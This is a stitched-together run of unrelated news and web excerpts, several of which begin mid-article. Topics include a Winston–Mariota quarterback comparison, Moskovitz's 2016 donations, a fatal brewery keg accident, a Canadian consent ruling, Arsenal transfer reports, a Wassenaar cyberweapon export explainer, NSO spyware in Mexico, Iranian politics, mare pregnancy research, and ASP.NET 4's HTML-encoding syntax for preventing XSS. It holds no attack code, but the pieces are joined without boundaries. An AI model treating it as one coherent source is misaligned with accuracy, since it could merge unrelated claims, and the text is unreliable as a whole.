Still, this is a former redshirt freshman Heisman Trophy winner who played right field for Florida State in 2013 and excelled as a closer a year later, spinning a mid-90s heater to post an ERA below 2.00 for his college career.
Winston has the cagey moves of a veteran, reliant upon tricks of the trade -- such as a highly effective pump fake to juke would-be tacklers on first-down scrambles -- and a natural feel for the situation.
Mariota might have the reputation for extending plays, but Winston pulled the feat off with more regularity as a rookie. Houdini-like in his escapability, Winston has the unique peripheral vision to detect swarms of uniforms -- a sixth sense which Montana once dubbed "feeling the color."
"When the defense puts on a strong rush, I see the colors," Montana explained. "I only see colors, not faces, helmets, arms or legs. Just that wall. If the 49ers are wearing red jerseys and our opponents white, my vision picks up the changes. If the wall of color quickly changes from red to white in the first two steps of my dropback, things register automatically."
That preternatural sense not only tells Winston when to flee the pocket, but also functions as his nose for the first-down marker and the goal-line.
A quarterback boasting Mariota's fancy footwork should be expected to find his receivers on the run. It's a testament to Winston's pocket presence, underrated athleticism and strong, accurate arm that he's every bit as effective as Mariota when forced to throw intermediate and deep passes off of one foot.
Not to be overlooked, Winston grew in stature throughout the season, graduating from laid-back rookie to inspirational leader. It's a testament to his natural competitive fire, situational awareness and charisma that he was already functioning as the team's emotional bellwether by December.
For all of Winston's obvious strengths, he wasn't without equally obvious weaknesses. He struggled with his mechanics out of the gate, showing sloppy footwork and suspect decision-making in September.
A red flag entering the draft, immaturity concerns also resurfaced last offseason as Winston tipped the scales at 250 pounds. Although he dropped down to 231 by September, he was never in peak football shape.
It's a promising sign that Winston has recognized the commitment level of the game's elite quarterbacks. Upon returning from the Pro Bowl, he set out transform his body via early-morning workouts at One Buc place.
"Jameis is very perceptive about not only what he needs to get better but what our offense and our team needs to get better," coach Dirk Koetter recently explained. "That's one of the things when you're around him more, he's mature way beyond his years with that sort of thing. The reason I got a smile is because that's a good thing for the Bucs."
Outside of the utter bedeviling Winston experienced at the hands of the NFC South champion Panthers, the Bucs' coaching staff has to be impressed with his steady upward trajectory throughout the season.
Who has a brighter future?
It's natural to hold tight to a first impression. Mariota entered his rookie season with a head of steam on the heels of an "essentially flawless" August. The draft's top two picks went on to make NFL history, matching up for the first time ever in the season opener -- 259 days after their Rose Bowl showdown.
Mariota was sensational from the start, becoming the first quarterback since 1960 to generate a perfect passer rating in an NFL debut. The Titans actually scored more points in the first half of Mariota's debut (35) than they did in any full game (28) the previous season.
Winston, on the other hand, was a bundle of nerves, showing inconsistent mechanics and heavy feet behind an offensive line he didn't quite trust while staring into coverage he had trouble deciphering.
To borrow a phrase from Gregg Rosenthal's painstakingly curated QB Index, Mariota was as steady as a metronome the rest of the way in contrast to Winston's week-by-week improvement.
I entered this project with a decidedly pro-Mariota bias. By the time I watched every dropback from their respective rookie seasons, though, I had a clear-eyed understanding of the pro-Winston faction's case.
In a side-by-side comparison of such disparate skill sets, the answer must factor in scheme fit and risk.
Will Mariota reach his ceiling absent a Walsh-like Svengali? Is Winston the perfect fit for Koetter's system?
Does Winston carry more risk due to perceived pre-draft immaturity issues, a long release, a lack of explosiveness in his legs and game-to-game inconsistency? Does Mariota carry more injury risk in addition to the downfield woes and a worrisome reliance upon the read-option last season?
The funds are a surprising infusion of cash from an individual who has never before been active in politics.
Dustin Moskovitz, a Silicon Valley entrepreneur with a net worth of more than $10 billion, announced early Friday that he and his wife would make a historically large donation to a half-dozen Democratic groups, including those backing Hillary Clinton. The donations, once issued, will make Moskovitz the third most generous donor in the 2016 campaign.
"This decision was not easy, particularly because we have reservations about anyone using large amounts of money to influence elections," Moskovitz and his wife, Cari Tuna, wrote in a post on Medium . "We hope these efforts make it a little more likely that Secretary Clinton is able to pursue the agenda she's outlined, and serve as a signal to the Republican Party that by running this kind of campaign — one built on fear and hostility — and supporting this kind of candidate, they compel people to act in response."
Moskovitz said $5 million would go to a super PAC run by the League of Conservation Voters, an environmentalist group running advertising and canvassing campaigns; and another $5 million to For Our Future PAC, an effort by organized labor and environmentalists to run a consolidated, high-powered field program.
Other donations will be split between a joint fundraising committee for Hillary Clinton; the Democratic Congressional Campaign Committee; the Democratic Senatorial Campaign Committee; a political arm of MoveOn.Org; Color of Change PAC; and "several nonpartisan voter registration and GOTV efforts."
Though Democratic groups are not hurting for cash, the September gifts could potentially open new avenues for Democratic groups looking to recapture control of Congress or defeat Trump. And the sheer size of the gift will make the 32-year-old one of the most sought-after and unlikeliest donors in the 2016 campaign.
Moskovitz, a college roommate of Facebook chief Mark Zuckerberg, has not been particularly active in politics. He has only cut two checks before to candidates — both to New York congressional candidate Sean Eldridge, the husband of another Facebook co-founder — that amounted to $5,200.
"Cari and I have dedicated our lives to figuring out how to do the most good we can with the resources we've been given. Until now, those efforts have not included making endorsements or contributions in presidential elections," Moskovitz wrote. "The Republican Party, and Donald Trump in particular, is running on a zero-sum vision, stressing a false contest between their constituency and the rest of the world."
The $20 million will give new life to several Democratic groups, though Moskovitz's list notably omits Priorities USA, the principal super PAC supporting Clinton's campaign.
Moskovitz told CNN that he was not ruling out a donation to Priorities USA and that his giving could eclipse the initial $20 million pledge. "No further donations have been decided. We will say more if that changes."
Moskovitz will only be out punched as a donor by Tom Steyer, the California billionaire and Democratic activist who has given more than $30 million to his groups in the 2016 cycle; and Bob Mercer, a major Trump supporter who has given just a drop more than Moskovitz's $20 million to Republican groups in this election.
PORTSMOUTH, NH (CBS) – An exploding beer keg killed a brewery worker at the Redhook Ale Brewery in Portsmouth, New Hampshire Tuesday.
Officials say Ben Harris had been filling kegs with air to clean them out when one of the kegs blew up.
“Something failed where it basically blew apart under the pressure and with such force that parts of the keg pushed into his chest and into his head,” Portsmouth Asst. Fire Chief Steven Achilles told WBZ-TV.
He died at the hospital.
Redhook released the following statement on its Facebook page:
“We are saddened by the tragic event that occurred at the Portsmouth brewery this morning resulting in the death of one of our employees. Our deepest sympathies go out to his family.
We are doing everything in our power to understand the circumstances surrounding this tragic accident, and have closed down all non-essential operations at the Portsmouth brewery, including the pub, while the investigation continues.
We believe it would not be appropriate to comment further until the investigation is concluded. Our sympathy is with his family and everyone touched by the tragedy.”
Steve Souza, head brewer at nearby Milly’s, a microbrewery in Manchester, which uses a similar cleaning process where air pressure is used to empty and clean kegs, says a tragic incident like this is almost unheard of.
“I really don’t know how it could happen because it’s rare. I want to know what happened exactly so it doesn’t happen here,” he said.
OSHA has opened an investigation into the death.
In a split decision, the Supreme Court of Canada today ruled that a person must be conscious in order to consent to a sexual act.
The ruling restored the sexual assault conviction of an Ottawa man who choked his common-law spouse unconscious, bound her hands behind her back and penetrated her with a sex toy.
The couple, identified only as J.A. and “his long-term partner” K.D., occasionally included “erotic asphyxiation” in their foreplay. They even reportedly had a safe word — "Tweety Bird" — in case things got out of hand.
But that’s what clearly happened one evening in 2007.
J.A. squeezed his hands tightly around K.D.’s neck, with her consent, until she passed out. When she came to minutes later, she was being sodomized and her hands were bound behind her back. K.D. complained to police that her consent did not include anal penetration.
Writing for the court majority, Chief Justice Beverley McLachlin said “on-going, conscious consent” is required “to ensure that individuals engaging in sexual activity are capable of asking their partner to stop at any point.”
“I conclude that the [Criminal] Code makes it clear that an individual must be conscious throughout sexual activity in order to provide the requisite consent.”
The decision was a relief to Canadian feminists, who had warned the case might erode decades of reforms that had clearly enshrined in law the concept of “no means no.” Rapists, they feared, could once again claim their victims had given prior consent before passing out from drugs or alcohol.
“You are basically saying: ‘I’m your sex slave. You can have sex with me when I’m not there,’ ” University of Ottawa law professor Elizabeth Sheehy had warned in an interview last year.
But Friday’s decision was not nearly unanimous. Three of the nine judges dissented, citing among other things, mitigating circumstances.
K.D. acknowledged, for instance, that the couple had sex immediately after the choking incident. Nor did she actually complain to police until two months after the incident, and only after J.A. said he wanted sole custody of their 2-year-old child. She also later recanted her testimony.
Those factors had figured in the overturning of the man’s original conviction for sexual assault — and his 18-month sentence — by a provincial appeals court.
Beyond the facts of the case, the dissenting judges said there were disturbing legal implications for the exercise of free will. The provisions of the Criminal Code regarding consent “were intended to protect women against abuse by others. Their mission is not to protect women from themselves.”
“Put differently, they aim to safeguard and enhance the sexual autonomy of women, not make choices for them.”
In addition, they said, the ruling was an unwarranted intrusion in the private affairs of Canadian couples and risked criminalizing simple acts of affection: “Cohabitating partners across Canada, including spouses, commit a sexual assault when either one of them, even with express prior consent, kisses or caresses the other while the latter is asleep.”
That’s an argument with faint echoes of the past.
The court and Canadians in general have a long history of tolerance in private sexual matters. It was a former prime minister, Pierre Trudeau, who famously said "there's no place for the state in the bedrooms of the nation. What's done in private between adults doesn't concern the Criminal Code."
In the late 1960s under Trudeau, Canada decriminalized homosexual acts, and legalized contraception and abortion. The Supreme Court struck down restrictive abortion laws in the 1980s and, in 2004, said gay marriage was protected by the constitution.
Sportsmail understands Arsenal are preparing to lose the Chilean forward in the summer, with Sanchez demanding a huge pay increase to remain with the north London club.
The Gunners are set to cash in as Sanchez's contract expires in the summer of 2018.
Alexis Sanchez will soon enter the final 12 months of his contract with Arsenal
Italian newspaper Corriere dello Sport is reporting that Juventus have made a £25m bid
With Sanchez's future at the Emirates unclear, reports in Italy claim that Juventus are set to make a £25m bid for the 28-year-old.
The headline of Friday's newspaper reads: 'Here is Alexis Sanchez - Juve, another champion!'
It might seem like a small fee for one of the Premier League's best players, but Sanchez's rapidly expiring contract means Arsenal are not able to extract full value for one of their prize assets.
Arsenal have offered Sanchez a contract worth around £180,000-a-week, a £50,000 per week increase.
The former Barcelona man is not willing to accept a contract worth under £250,000-a-week
But the former Barcelona man is not willing to accept less than £250,000-a-week.
Sportsmail understands Arsenal have identified a series of names to replace Sanchez if he departs in the summer.
Borussia Dortmund man Marco Reus, Porto's Andre Silva and Alexandre Lacazette of Lyon are all targets.
So #wassenaar has infected your Twitter timeline for the past several days. I thought I'd explain what the big deal is.
What’s a Wassenaar?
Wassenaar is a town in Europe, where in 1996 a total of 41 nations agreed to an arms control treaty. The name of the agreement, the Wassenaar Arrangement, comes from the name of the town. The US, Europe, and Russia are part of the agreement. Africa, the Middle East, and China are not.
The primary goal of the arrangement is anti-proliferation, stopping uranium enrichment and chemical weapons precursors. Another goal is to control conventional weapons, keeping them out of the hands of regimes that would use them against their own people or to invade their neighbors.
Historically in cybersec, we've complained that Wassenaar classifies crypto as a munition. This allows the NSA to eavesdrop and decrypt messages in those countries. This does little to stop dictators from getting their hands on strong crypto but does a lot to prevent dissidents in those countries from encrypting their messages. Perhaps more importantly, it requires us to jump through a lot of bureaucratic hoops to export computer products, because encryption is built in to virtually everything.
Why has this become important recently?
Last year, Wassenaar added cyberweapons to the list. On May 20, the United States Bureau of Industry and Security (BIS) proposed US rules to comply with the Wassenaar additions. It is currently accepting comments about these rules.
The proposed BIS rules go beyond the simpler Wassenaar rules, affecting a large number of cybersecurity products and cybersecurity research. These rules further restrict anything that may be used to develop a cyberweapon, which therefore makes a wide number of innocuous products export-restricted, such as editors and compilers.
It's not that these rules will necessarily block the export of legitimate products, but that it creates a huge bureaucracy that will apply the rules prejudicially and arbitrarily. It's easy to make mistakes—and a mistake can cost a person 20 years in jail and $1 million. This will create a huge chilling effect even among those who don't intend to export anything.
What specific cyber-weapons is Wassenaar trying to restrict?
The arrangement added three categories of cyber-weapons.
The first is "intrusion malware." The specific example is malware sold by FinFisher to governments like Bahrain and has been found on laptops of Bahraini activists living in Washington DC.
The second is "intrusion exploits." These are tools, including what are known as "0-days," that exploit a bug or vulnerability in software in order to hack into a computer, usually without human intervention.
The third is "IP surveillance" products. These are tools, like those sold by Amesys, that monitor Internet backbones in a country, spy on citizens' activities, and try to discover everyone activists/dissents talk to.
Wassenaar includes both intrusion malware and intrusion exploits under the single designation "intrusion software," but while they are both related, they are significantly different from each other. The BIS rules clarify this difference more.
Haven’t I heard about 0-days/zero-days before?
The bulk of cyber-security research is into vulnerabilities, which are software bugs that hackers can exploit in order to break into computers. Over the last 15 years, the relentless pursuit of these vulnerabilities has made computers dramatically safer.
When such bugs are first discovered, before anybody else knows about them, they are known as "0-days." Almost always, researchers give those 0-days to the appropriate company so that it can fix the bug.
Sometimes, however, a researcher may sell the 0-day to the National Security Agency so that it can secretly hack into computers using a bug nobody knows about. Selling 0-days has been a big controversy in the community, especially since the Snowden affair.
It's perfectly legal for American researchers to sell 0-days to the Chinese government instead of the NSA—which would presumably then use them to hack American computers. One goal of the Wassenaar agreement is to close this obvious loophole.
One of the controversial provisions of the export license is that companies/individuals may have to share their secret 0-days with the NSA in order to get a license.
Isn’t stopping intrusion and surveillance software a good thing?
Maybe. Many researchers see companies like FinFisher and Amesys as evil; evidence suggests that these companies sell products to corrupt governments that repress their people.
However, good and evil products are often indistinguishable from each other. The best way to secure your stuff is for you to attack yourself.
That means things like bug bounties that encourage people to find 0-days in your software so that you can fix them before hackers (or the NSA) exploit them. That means scanning tools that hunt for any exploitable conditions in your computers, to find those bugs before hackers do. Likewise, companies use surveillance tools on their own networks (like intrusion prevention systems) to monitor activity and find hackers.
Thus, while Wassenaar targets evil products, they inadvertently catch the bulk of defensive products in their rules as well.
Isn’t stopping intrusion and surveillance software a good thing? (part 2)
Maybe. Here's the thing, though: the cyberspace has no borders.
Normal arms controls work because they are physical things. They require a huge industrial base to produce. Not only the weapons themselves but the equipment and materials used to produce weapons can be tracked. Even if the bad guys sneak the original weapons through, they will still struggle to keep smuggling the parts needed to keep them working.
None of this argument applies to cyberspace. A single hacker working out of their mom's basement can create the next devastating 0-day. Right now, e-commerce sites block the IP addresses from restricted countries. But those countries can simply call up their ambassador in an unblocked country in order to purchase a product.
That's not to say export controls would have no leverage. For example, these products usually require an abnormally high degree of training and technical support that can be tracked. However, the little good that export controls provide is probably outweighed by the harm—such as preventing dissidents in the affected countries from being able to defend themselves. We know they do little good now because we watch Bashar Al Assad brandish the latest iPhone that his wife picked up in Paris. Such restrictions may stop the little people in his country getting things—but they won't stop him.
Isn’t there an exception for open source?
Yes and no. Wassenaar explicitly exempts open source code in theory. That means you can publish your code to GitHub knowing that corrupt governments will use it, without getting in trouble with the law.
However, there are situations where this doesn't apply. When security researchers discover a 0-day, they typically write a proof-of-concept exploit, then present their findings at the next conference. That means they have unpublished code on their laptop, code that they may make public later, but which is not yet technically open source. If they travel outside the country, they have technically violated both the letter and the spirit of the export restrictions and can go to jail for 20 years and be forced to pay a $1 million fine.
Thus, make sure you always commit your latest changes to GitHub before getting on a plane.
What’s the deal with security research?
One of the most vocal groups in opposition to Wassenaar is security researchers. That's because they are under attack by a wide variety of proposals in the current administration's "War on Hackers."
Proposed changes to the anti-hacking law, the CFAA, would technically make security research into 0-days illegal. Proposed changes to copyright rules, the DMCA, would make 0-day research into things like automobiles illegal. The recent State of Emergency declaration would allow the government to unilaterally seize a security researcher's assets if the government believed they helped Chinese hackers. And lastly, these proposed BIS rules would impose export restrictions on all security research.
Discovering vulnerabilities in products, especially products from prickly companies like Oracle and Microsoft, embarrasses those companies. They see the security researchers, rather than the hackers, as their primary threat. They put a lot of pressure on government to do something about those pesky researchers.
What’s the penalty for improperly exporting something?
Nobody knows, because the BIS gets to arbitrarily impose penalties. It could decide to send you a warning letter, or it could decide to send you to jail for 20 years with a $1 million fine. The issue is described somewhat here.
It seems good that the BIS can decide to simply warn you if you make a mistake, but the opposite is true. Such warnings go to people who play along, such as by sharing their 0-days with the NSA. Harsher punishments go to those who stand up against the system.
That's been a frequent criticism of anti-hacking laws: their punishments are unreasonably severe, and they are meted out in a prejudicial and arbitrary fashion. Those who annoy the powerful are the ones who get punished the most.
Why this anger toward privacy groups?
Because they got precisely what they asked for.
Privacy groups have long attacked companies like FinFisher and Amesys. They have pushed for regulations to stop these companies, sometimes explicitly for export restrictions. Now that these regulations are here and their impacts are obvious, these privacy activists are complaining that the rules go too far—and that they aren't responsible.
But cybersecurity experts have long warned of this, specifically that good and bad products are technically indistinguishable. Privacy groups have ignored these warnings. A good example is this post from Privacy International which considers, then rejects, the warning.
The feuding between privacy/rights organizations and cybersecurity researchers predates the Wassenaar debate. For example, Chris Soghoian, the Principal Technologist at the ACLU, calls 0-day sellers "merchants of death." 0-day sellers in turn call Soghoian a "fascist" for his attack on their free speech rights.
Smarter organizations like the EFF have consistently warned that technical distinctions in regulations were nearly impossible. However, they still have championed the cause that "something must be done" about FinFisher and Amesys without taking a principled stand against government regulation—at least not the same stand as cybersecurity researchers.
Are there other issues besides cybersecurity?
Yes. For example, only software used by corrupt governments is controlled. Software used to enforce copyright or track users for advertising is explicitly allowed. Likewise, far from restricting software that the NSA can use to spy on people, one provision suggests that the NSA should get a copy of the source code before an export license will be granted.
There are a couple of First Amendment issues. Code is speech, and in many ways, this restricts code (though open source code is untouched by the rules). Separately, the way restrictions and punishments can be arbitrarily applied gives the government leeway to punish those who speak up.
Conclusion
The BIS proposal is not yet fixed in stone. The comment period ends July 20. You can submit comments here.
This is my first attempt at a starbound mod. The idea is basically to give those shiny ores a purpose once you get to end game. I noticed I had gold and diamond coming out of my ears in X sector so i threw together this mod to try provide a use for them :)
This adds copper, silver, platinum, gold and diamond bricks to the game. I'm not a pixel artist at all so any feedback on the skins I made would be awesome !
The bricks behave the same way as cobblestone bricks do as i used their file for the template.
Material ID's have been assigned starting at 700, so hopefully it won't clash with any other materials.
Updates are planned when i have time, now that i've got this working i will soon add bricks made from the other metals in the game, as wel as adding a set based off the Light Metal look.
The messages themselves ranged from a simple “message not sent” text to more aggressive attempts, which masqueraded as the US Embassy’s visa division or a bereaved friend sending details of a funeral. Some texts even posed as Amber Alerts, claiming to offer details on a missing child. Once clicked, the software exploited a trio of previously disclosed iOS vulnerabilities to silently install itself on the target device.
Citizen Lab believes the campaign was orchestrated by the Israeli spyware vendor NSO Group, based on similarities in the code of the spyware and the host domains where it was stored. The group, rumored to be on sale for as much as $1 billion, rose to prominence last year after similar spyware was detected on the iPhone of human rights activist Ahmed Mansoor in the United Arab Emirates.
The research prompted an emergency patch from Apple to close the rare iOS vulnerabilities exploited by the attack. Notably, the Mexican campaign took place before that patch took effect, so all of the iOS vulnerabilities would have been exploitable at the time.
A collection of campaign-finance reform advocates has organized events around the country to protest the high court’s decision in Citizens United vs. the Federal Election Commission, which opened the spigots for corporate campaign contributions in the run-up to the 2010 midterms.
The most aggressive of these protests is from Common Cause, which has asked Attorney General Eric Holder to investigate whether two Supreme Court justices should have recused themselves from the case.
Common Cause says that Justices Antonin Scalia and Clarence Thomas have close ties to groups that directly benefited from the decision, and cite their attendance at fund-raising retreats organized by a pair of conservative activists who spent millions in the last election.
SPILLING OVER
Together with its nonprofit partners, Savers diverts more than 650 million pounds of reusable goods from North American landfills each year, according to the company, which employs 22,000 workers and operates more than 330 stores, including Value Village and Unique in the United States and Canada, Village des Valeurs in Quebec, and Savers Australia.
Still, Shumpert says the world can—and should—do better, and not just on Earth Day.
“We hope consumers will rethink reuse,” he said, “which includes shopping thrift, donating unwanted goods, and consuming in a more responsible way.”
Eric Stubin, president of Secondary Materials and Recycle Textiles Association, agrees with that sentiment.
“Eighty-five percent of clothing waste ends up in landfills, with only 15 percent being reused or recycled,” he said. “We applaud Savers for calling attention to the issue of clothing waste.”
The turmoil suggests that President Mahmoud Ahmadinejad is pushing to tighten his control of the regime, even at the cost of alienating some powerful fellow conservatives. But the decisive voice remains the country's supreme leader, Ayatollah Ali Khamenei. His legitimacy has taken a hit -- and he's riding a tiger in trying to control Ahmadinejad -- but he's still No. 1.
The head of the Ministry of Intelligence and Security, a ferocious cleric named Gholam-Hossein Mohseni-Ejei who is nicknamed "the viper" by some Iranians, was dismissed in late July. Four top deputies in the ministry were also sacked in what one U.S. analyst likened to a Stalinist purge. In the process, Ahmadinejad made some potentially dangerous enemies.
The intelligence putsch showed Ahmadinejad "moving to control" the government, says Mark Fowler, a former CIA officer who now runs the "Persia House" consulting service for Booz Allen Hamilton. He says of the ousted intelligence officers: "These are not wallflowers. These are tough guys. They have buddies who are spread throughout the system. They could cause some problems" for Ahmadinejad.
The new intelligence minister is Heidar Moslehi, a cleric with close ties to Ahmadinejad and the Revolutionary Guard Corps. This led some analysts to argue that Ahmadinejad and the Guard were continuing an internal coup that began with the fraudulent manipulation of the June 12 election and the subsequent crackdown against Iranian protesters.
Lending support to the "internal coup" thesis is the long-running friction between Iran's intelligence ministry and the Revolutionary Guard, which has its own spy service. The intelligence ministry regards itself as a "cut above the knuckle-draggers," says one U.S. analyst. Ahmadinejad and the Guard wanted to take the elitists down a peg, the theory goes.
But as is usually the case with Iran, the situation is more complicated -- with moves in one direction offset by shifts in another. No sooner had Mohseni-Ejei been fired at the intelligence ministry than he resurfaced as the country's prosecutor general. He was appointed to that post by the new judiciary chief, Ayatollah Sadeq Larijani, who is regarded as a key ally of Khamenei and whose brother, Ali, is the speaker of the Iranian parliament.
In recent private contacts with the West, some prominent Iranian politicians have underlined this theme: Ahmadinejad is trying to consolidate power, but the maverick president is facing growing opposition from within the ruling elite. Khamenei remains the crucial actor, according to these Iranians, and while he generally leans in Ahmadinejad's direction, he has overruled some of the president's decisions, such as his attempt to install his closest personal adviser, Esfandiar Mashaie, as first vice president.
These machinations illustrate how difficult it will be to chart a viable U.S. policy for Iran in the post-election turmoil. Already, the administration has shifted from its pre-election approach of active outreach to a more passive stance in which it's Iran's responsibility to make the next moves. "We're keeping the door open, but it's up to them to walk through it," says a senior administration official.
One Iranian political figure has told a Western intermediary that the Obama administration may have unwittingly encouraged the regime's power grab by sending two letters to Khamenei before the June election. The first, delivered through Iran's mission to the United Nations, was a general invitation to dialogue. Khamenei is said to have taken a month to answer, and then only in vague terms. A second Obama administration letter reiterated U.S. interest in engagement. According to the Iranian political figure, this may have emboldened Khamenei and Ahmadinejad to think they had a free hand on June 12.
A second prominent Iranian politician, who is close to Khamenei, advised a Western contact recently that if the United States wants to change relations, it must deal with Khamenei directly, without going through the Ahmadinejad government. How to do that remains a puzzle for the Obama team.
Science and nature reporter, BBC News
Do pregnant mares disguise the paternity of their foals?
Pregnant mares are likely to lose their foals if they are kept close to stallions, researchers have discovered. Horse breeders, including thoroughbred breeders in the UK, often send mares to stables to be mated with stallions. But a study reveals that, when they return, the pregnant mares engage in "promiscuous sex" with males in their home stables, in an attempt to disguise the paternity of the foal. When this is not possible, the mares often abort the pregnancy. Mares were more likely to have disrupted pregnancies when home males were in adjacent enclosures
Dr Ludek Bartos The strange sexual behaviour may have evolved because of the risk of infanticide - seen in many species that live in male-dominated social groups, where a male will kill offspring of other males in a struggle for dominance. The team says the findings could explain the high rate of pregnancy disruption in domestic horses. Ludek Bartos from the Institute of Animal Science in the Czech Republic led the study, published in the journal Behavioural Ecology and Sociobiology. He and his colleagues distributed a questionnaire to horse breeders via an online magazine. Their responses revealed that mares mated with "foreign stallions" aborted in almost a third of cases. "None of the mares mated within the home stable aborted," Dr Bartos told BBC News. "And mares were more likely to have disrupted pregnancies when home males were in adjacent enclosures." Survival increases after foals reach one month
Mares that were separated from males, and therefore physically unable to disguise the paternity of their foal, were more likely to abort. This, the researchers say, prevented "the waste of energy in producing offspring likely to be lost" to infanticide. Paternity test The idea that domestic horses might adopt such a strategy came from the study of infanticide in horses' wild cousins, the zebras. To avoid inbreeding in captive zebras, zoos occasionally introduce a new male into their herd. But Dr Bartos found that this practice increased the likelihood of foals being lost. A previous study by him and his colleagues revealed that most zebra foals, rather than being killed by the new male, were lost during pregnancy. Pairing mares with foreign stallions may not be the best strategy "If a new male was brought into the herd just after a female became pregnant, the chance of a foal surviving was less than 5%," Dr Bartos explained. "Survival increased to more than 60% after the foal reached one month of age." He believes that zebras and domestic horses have both evolved similar "abortion strategies". He thinks it is possible that horses "make the decision" to terminate their own pregnancy. Natural chemically triggered abortion is a well-known phenomenon in biology. It is known as the Bruce effect, and has been observed mainly in rodents, where the scent of male urine causes a pregnant female to abort. Although the mechanism behind this high rate of abortion in horses is not yet known, Dr Bartos says the research has a very practical message for horse breeders. SOURCES
Learn more about how horses lose their foals at Behavioral Ecology and Sociobiology "The practice of transporting the mare for mating or artificial insemination with a foreign stallion and then bringing her back to an environment with home males is wrong," he said. "It is very likely it is one of the main causes of such high percentages of pregnancy disruption in domestic horses."
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This is the nineteenth in a series of blog posts I’m doing on the upcoming VS 2010 and .NET 4 release.
Today’s post covers a small, but very useful, new syntax feature being introduced with ASP.NET 4 – which is the ability to automatically HTML encode output within code nuggets. This helps protect your applications and sites against cross-site script injection (XSS) and HTML injection attacks, and enables you to do so using a nice concise syntax.
HTML Encoding
Cross-site script injection (XSS) and HTML encoding attacks are two of the most common security issues that plague web-sites and applications. They occur when hackers find a way to inject client-side script or HTML markup into web-pages that are then viewed by other visitors to a site. This can be used to both vandalize a site, as well as enable hackers to run client-script code that steals cookie data and/or exploits a user’s identity on a site to do bad things.
One way to help mitigate against cross-site scripting attacks is to make sure that rendered output is HTML encoded within a page. This helps ensures that any content that might have been input/modified by an end-user cannot be output back onto a page containing tags like <script> or <img> elements.
How to HTML Encode Content Today
ASP.NET applications (especially those using ASP.NET MVC) often rely on using <%= %> code-nugget expressions to render output. Developers today often use the Server.HtmlEncode() or HttpUtility.Encode() helper methods within these expressions to HTML encode the output before it is rendered. This can be done using code like below:
While this works fine, there are two downsides of it:
It is a little verbose Developers often forget to call the Server.HtmlEncode method – and there is no easy way to verify its usage across an app
New <%: %> Code Nugget Syntax
With ASP.NET 4 we are introducing a new code expression syntax (<%: %>) that renders output like <%= %> blocks do – but which also automatically HTML encodes it before doing so. This eliminates the need to explicitly HTML encode content like we did in the example above. Instead, you can just write the more concise code below to accomplish the exact same thing:
We chose the <%: %> syntax so that it would be easy to quickly replace existing instances of <%= %> code blocks. It also enables you to easily search your code-base for <%= %> elements to find and verify any cases where you are not using HTML encoding within your application to ensure that you have the correct behavior.
Avoiding Double Encoding
While HTML encoding content is often a good best practice, there are times when the content you are outputting is meant to be HTML or is already encoded – in which case you don’t want to HTML encode it again.
ASP.NET 4 introduces a new IHtmlString interface (along with a concrete implementation: HtmlString) that you can implement on types to indicate that its value is already properly encoded (or otherwise examined) for displaying as HTML, and that therefore the value should not be HTML-encoded again. The <%: %> code-nugget syntax checks for the presence of the IHtmlString interface and will not HTML encode the output of the code expression if its value implements this interface. This allows developers to avoid having to decide on a per-case basis whether to use <%= %> or <%: %> code-nuggets. Instead you can always use <%: %> code nuggets, and then have any properties or data-types that are already HTML encoded implement the IHtmlString interface.
Using ASP.NET MVC HTML Helper Methods with <%: %>
For a practical example of where this HTML encoding escape mechanism is useful, consider scenarios where you use HTML helper methods with ASP.NET MVC. These helper methods typically return HTML. For example: the Html.TextBox() helper method returns markup like <input type=”text”/>. With ASP.NET MVC 2 these helper methods now by default return HtmlString types – which indicates that the returned string content is safe for rendering and should not be encoded by <%: %> nuggets.
This allows you to use these methods within both <%= %> code nugget blocks:
As well as within <%: %> code nugget blocks:
In both cases above the HTML content returned from the helper method will be rendered to the client as HTML – and the <%: %> code nugget will avoid double-encoding it.
This enables you to default to always using <%: %> code nuggets instead of <%= %> code blocks within your applications. If you want to be really hardcore you can even create a build rule that searches your application looking for <%= %> usages and flags any cases it finds as an error to enforce that HTML encoding always takes place.
Scaffolding ASP.NET MVC 2 Views
When you use VS 2010 (or the free Visual Web Developer 2010 Express) to build ASP.NET MVC 2 applications, you’ll find that the views that are scaffolded using the “Add View” dialog now by default always use <%: %> blocks when outputting any content. For example, below I’ve scaffolded a simple “Edit” view for an Article object. Note the three usages of <%: %> code nuggets for the label, textbox, and validation message (all output with HTML helper methods):
Summary
The new <%: %> syntax provides a concise way to automatically HTML encode content and then render it as output. It allows you to make your code a little less verbose, and to easily check/verify that you are always HTML encoding content throughout your site. This can help protect your applications against cross-site script injection (XSS) and HTML injection attacks.
Hope this helps,
The camera features the same durable magnesium-alloy body used by its predecessor, and when combined with suitable lenses, delivers a splash- and dust-proof package. The high-performance shutter is rated for 200,000 release times with a maximum speed of 1/8000 of a second. A silent mode switches the shutter from mechanical to electronic operation, turns off any sounds, and suppresses the AF assist lamp and flash for situations where working in a discreet manner is required. Contrast Auto Focus with 49-area focusing enables the camera to lock on to a subject in approximately 0.07 seconds when paired with certain Panasonic lenses. Burst speeds in AFS mode have been boosted to 12 fps using the mechanical shutter, and up to 40 fps with the electronic shutter. Sensitivity has also been improved with a maximum ISO 25600, along with gradation performance, resolution, and color reproduction. Images can be captured in RAW or JPEG or a combination of both, and various photo styles can be added, with multiple parameters in each mode that can be adjusted or set into the camera’s memory.
Video recording is available in Cinema 4K (4096 x 2160, 24 fps) and QFHD 4K (3840 x 2160, up to 30 fps) in MOV/MP4 formats. Full HD video can be captured with 200Mbps ALL-Intra or 100Mbps IPB, with no limit on recording time, and users can choose from MOV, MP4, AVCHD Progressive, and AVCHD formats at a variety of frame rates, according to their needs. In MP4/MOV, sound is recorded as LPCM (Linear Pulse Code Modulation) audio files. Real-time 4:2:2/8-bit output to an external monitor is available using an optional micro HDMI cable. In this instance, video is simultaneously recorded in 4:2:0/8-bit to the internal cards. 4:2:2/10-bit output is also available but simultaneous recording is not possible in this scenario. Users can choose to output only the recorded content or the content with the setting menus displayed. Variable Frame Rates (VFR) enable Full HD to be recorded with slow or fast motion (up to 96 fps) and time lapse/stop-motion animation can also be achieved without resorting to post production.
